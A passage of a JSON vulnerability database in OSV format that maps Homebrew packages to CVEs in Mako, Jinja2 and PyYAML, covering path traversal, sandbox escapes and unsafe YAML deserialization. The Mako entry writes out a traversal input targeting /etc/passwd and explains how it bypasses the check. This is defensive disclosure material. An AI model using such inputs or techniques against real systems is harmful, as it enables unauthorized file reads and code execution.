linguaplugin.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40023"},{"type":"WEB","url":"https://github.com/sqlalchemy/mako/issues/366"},{"type":"WEB","url":"https://github.com/sqlalchemy/mako/commit/925760291d6efec64fda6e9dd1fd9cfbd5be068c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-v973-fxgf-6xhp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mako/PYSEC-2022-260.yaml"},{"type":"WEB","url":"https://github.com/sqlalchemy/mako"},{"type":"WEB","url":"https://github.com/sqlalchemy/mako/blob/c2f392e0be52dc67d1b9770ab8cce6a9c736d547/mako/ext/extract.py#L21"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/09/msg00026.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/12/msg00004.html"},{"type":"WEB","url":"https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages"},{"type":"WEB","url":"https://pyup.io/vulnerabilities/CVE-2022-40023/50870"}]},{"schema_version":"1.7.3","id":"BREW-ansible-cmdb-CVE-2026-41205","published":"2026-08-13T16:35:16Z","modified":"2026-10-07T22:49:54Z","upstream":["GHSA-v92g-xgxw-vvmm","CVE-2026-41205","PYSEC-2026-88"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-cmdb","purl":"pkg:brew/ansible-cmdb"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.31"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.3.11","resource":"mako","resource_purl":"pkg:pypi/mako@1.3.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mako","subject_version":"1.3.9","key":"pkg:pypi/mako@1.3.9","resource":"mako"}]},"summary":"Mako: Path traversal via double-slash URI prefix in TemplateLookup","details":"### Summary\n\n`TemplateLookup.get_template()` is vulnerable to path traversal when a URI starts with `//` (e.g., `//../../../secret.txt`). The root cause is an inconsistency between two slash-stripping implementations:\n\n- `Template.__init__` strips **one** leading `/` using `if`/slice\n- `TemplateLookup.get_template()` strips **all** leading `/` using `re.sub(r\"^\\/+\", \"\")`\n\nWhen a URI like `//../../../../etc/passwd` is passed:\n1. `get_template()` strips all `/` → `../../../../etc/passwd` → file found via `posixpath.join(dir_, u)`\n2. `Template.__init__` strips one `/` → `/../../../../etc/passwd` → `normpath` → `/etc/passwd`\n3. `/etc/passwd`.startswith(`..`) → `False` → **check bypassed**\n\n### Impact\n\nArbitrary file read: any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to `TemplateLookup.get_template()`.\n\nNote: this is exploitable at the library API level. HTTP-based exploitation is mitigated by Python's `BaseHTTPRequestHandler` which normalizes double-slash prefixes since CPython gh-87389. Applications using other HTTP servers that do not normalize paths may be affected.\n\n### Fix\n\nChanged `Template.__init__` to use `lstrip(\"/\")` instead of stripping only a single leading slash, so both code paths handle leading slashes consistently.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/sqlalchemy/mako/security/advisories/GHSA-v92g-xgxw-vvmm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41205"},{"type":"WEB","url":"https://github.com/sqlalchemy/mako/commit/e05ac61989a7fb9dd7dcde6cfd72dc48328719a3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mako/PYSEC-2026-88.yaml"},{"type":"PACKAGE","url":"https://github.com/sqlalchemy/mako"},{"type":"WEB","url":"https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_11"}]}],"ansible-creator":[{"schema_version":"1.7.3","id":"BREW-ansible-creator-CVE-2024-34064","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T17:29:24Z","upstream":["GHSA-h75v-3vvj-5mfj","CVE-2024-34064","PYSEC-2026-1474"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-creator","purl":"pkg:brew/ansible-creator"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"24.5.0"},{"fixed":"24.5.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.4","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters.\n\nAccepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34064"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/567XIGSZMABG6TSMYWD7MIYNJSUQQRUC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCLF44KY43BSVMTE6S53B4V5WP3FRRSE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SSCBHIL6BYKR5NRCBXP4XMP2CEEKGFVS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZALNWE3TXPPHVPSI3AZ5CTMSTAVN5UMS"}]},{"schema_version":"1.7.3","id":"BREW-ansible-creator-CVE-2024-56201","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T17:29:24Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-creator","purl":"pkg:brew/ansible-creator"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"24.5.0"},{"fixed":"24.12.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-creator-CVE-2024-56326","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T17:29:24Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-creator","purl":"pkg:brew/ansible-creator"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"24.5.0"},{"fixed":"24.12.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-creator-CVE-2025-27516","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T17:29:24Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-creator","purl":"pkg:brew/ansible-creator"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"24.5.0"},{"fixed":"25.0.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]}],"ansible-lint":[{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2017-18342","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:28:00Z","upstream":["GHSA-rprw-h62v-c2w7","CVE-2017-18342","PYSEC-2018-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"4.1.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"PyYAML insecurely deserializes YAML strings leading to arbitrary code execution","details":"In PyYAML before 5.1, the `yaml.load()` API could execute arbitrary code. In other words, `yaml.safe_load` is not used.\n\nThis was intended to be fixed in 4.1, but due to [breaking changes](https://github.com/yaml/pyyaml/issues/192#issuecomment-401491470), 4.1 was yanked and 5.1 [contains](https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007) the patch for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-18342"},{"type":"WEB","url":"https://github.com/marshmallow-code/apispec/issues/278"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/193"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/74"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/7b68405c81db889f83c32846462b238ccae5be80"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2018-49.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JEX7IPV5P2QJITAMA5Z63GQCZA5I6NVZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KSQQMRUQSXBSUXLCRD3TSZYQ7SEZRKCE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M6JCFGEIEOFMWWIXGHSELMKQDD4CV2BA"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202003-45"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2019-10906","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:28:00Z","upstream":["GHSA-462w-v97r-4m45","CVE-2019-10906","PYSEC-2019-217"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"4.1.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 sandbox escape via string formatting","details":"In Pallets Jinja before 2.10.1, `str.format_map` allows a sandbox escape.\n\nThe sandbox is used to restrict what code can be evaluated when rendering untrusted, user-provided templates. Due to the way string formatting works in Python, the `str.format_map` method could be used to escape the sandbox.\n\nThis issue was previously addressed for the `str.format` method in Jinja 2.8.1, which discusses the issue in detail. However, the less-common `str.format_map` method was overlooked. This release applies the same sandboxing to both methods.\n\nIf you cannot upgrade Jinja, you can override the `is_safe_attribute` method on the sandbox and explicitly disallow the `format_map` method on string objects.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10906"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-2"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-1"},{"type":"WEB","url":"https://palletsprojects.com/blog/jinja-2-10-1-released"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TS7IVZAJBWOHNRDMFJDIZVFCMRP6YIUQ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QCDYIS254EJMBNWOG4S5QY6AOTOR4TZU"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DSW3QZMFVVR7YE3UT4YRQA272TYAL5AF"},{"type":"WEB","url":"https://lists.apache.org/thread.html/f0c4a03418bcfe70c539c5dbaf99c04c98da13bfa1d3266f08564316@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/b2380d147b508bbcb90d2cad443c159e63e12555966ab4f320ee22da@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/7f39f01392d320dfb48e4901db68daeece62fd60ef20955966739993@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/57673a78c4d5c870d3f21465c7e2946b9f8285c7c57e54c2ae552f02@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/46c055e173b52d599c648a98199972dbd6a89d2b4c4647b0500f2284@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/320441dccbd9a545320f5f07306d711d4bbd31ba43dc9eebcfc602df@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/2b52b9c8b9d6366a4f1b407a8bde6af28d9fc73fdb3b37695fd0d9ac@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/09fc842ff444cd43d9d4c510756fec625ef8eb1175f14fd21de2605f@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2019-217.yaml"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-462w-v97r-4m45"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1329"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1152"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00030.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00064.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2019-20477","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:28:00Z","upstream":["GHSA-3pqx-4fqf-j49f","CVE-2019-20477","PYSEC-2020-176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0_2"},{"fixed":"4.2.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.2","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Deserialization of Untrusted Data in PyYAML","details":"PyYAML 5.1 through 5.1.2 has insufficient restrictions on the load and load_all functions because of a class deserialization issue, e.g., Popen is a class in the subprocess module. NOTE: this issue exists because of an incomplete fix for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-20477"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3pqx-4fqf-j49f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-176.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/33VBUY73AA6CTTYL3LRWHNFDULV7PFPN"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/52N5XS73Z5S4ZN7I7R56ICCPCTKCUV4H"},{"type":"WEB","url":"https://www.exploit-db.com/download/47655"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2020-14343","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:28:00Z","upstream":["GHSA-8q59-q68h-6hv4","CVE-2020-14343","PYSEC-2021-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"5.0.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.4","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.4, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. This flaw allows an attacker to execute arbitrary code on the system by abusing the python/object/new constructor. This flaw is due to an incomplete fix for CVE-2020-1747.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14343"},{"type":"WEB","url":"https://github.com/SeldonIO/seldon-core/issues/2252"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420#issuecomment-663673966"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/a001f2782501ad2d24986959f0239a354675f9dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1860466"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8q59-q68h-6hv4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2021-142.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://pypi.org/project/PyYAML"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2020-1747","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:28:00Z","upstream":["GHSA-6757-jp84-gxfx","CVE-2020-1747","PYSEC-2020-96"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0_2"},{"fixed":"4.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.3.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.3.1, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. An attacker could use this flaw to execute arbitrary code on the system by abusing the python/object/new constructor.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1747"},{"type":"WEB","url":"https://github.com/github/advisory-database/pull/4942"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/386"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/0cedb2a0697b2bc49e4f3841b8d4590b6b15657e"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/5080ba513377b6355a0502104846ee804656f1e0"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1747"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6757-jp84-gxfx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-96.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7PPAS6C4SZRDQLR7C22A5U3QOLXY33JX"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K5HEPD7LEVDPCITY5IMDYWXUMX37VFMY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MMQXSZXNJT6ERABJZAAICI3DQSQLCP3D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WORRFHPQVAFKKXXWLSSW6XKUYLWM6CSH"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZBJA3SGNJKCAYPSHOHWY3KBCWNM5NYK2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00017.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2020-28493","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:28:00Z","upstream":["GHSA-g3rq-g295-4j3m","CVE-2020-28493","PYSEC-2021-66","SNYK-PYTHON-JINJA2-1012994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"5.0.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6",